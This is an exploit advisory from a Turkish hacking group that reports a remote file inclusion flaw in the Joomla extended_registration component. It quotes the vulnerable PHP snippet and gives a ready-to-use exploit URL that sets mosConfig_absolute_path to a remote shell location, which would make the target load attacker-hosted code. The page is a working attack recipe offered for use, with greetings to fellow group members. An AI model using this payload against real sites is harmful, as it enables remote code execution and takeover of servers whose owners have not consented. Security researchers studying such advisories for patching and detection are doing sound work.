The Joomla extended_registration mod suffers from a remote file inclusion vulnerability.
b5ec95b388d9d4c34f6cc34562cd6884f254b932b29fa0a2f9a145158f4caa30
!!!!!!!!!WWW.SiBERSAVASCiLAR.COM!!!!!!!!!
--------------------------------------------------------------------------------
Title : Joomla extended_registration mod Remote File Include Vulnerabilities
--------------------------------------------------------------------------------
#Author: Crackers_Child
#cont@ct: crackers_child@sibersavascilar.com
--------------------------------------------------------------------------------
Bug in admin.extended_registration.php
<?php
require("../configuration.php");
function extended_registration_settings($state,$lang) {
global $mosConfig_absolute_path;
--------------------------------------------------------------------------------
Exploit:
www.site.com/administrator/components/com_extended_registration/admin.extended_registration.php?mosConfig_absolute_path=Shel3l?
--------------------------------------------------------------------------------
greets:
X_ALPEREN_X and All SiberSavascilar.CoM Members !
--------------------------------------------------------------------------------
--------------------------------- [ WWW.SiBERSAVASCiLAR.COM ] --------------------------------------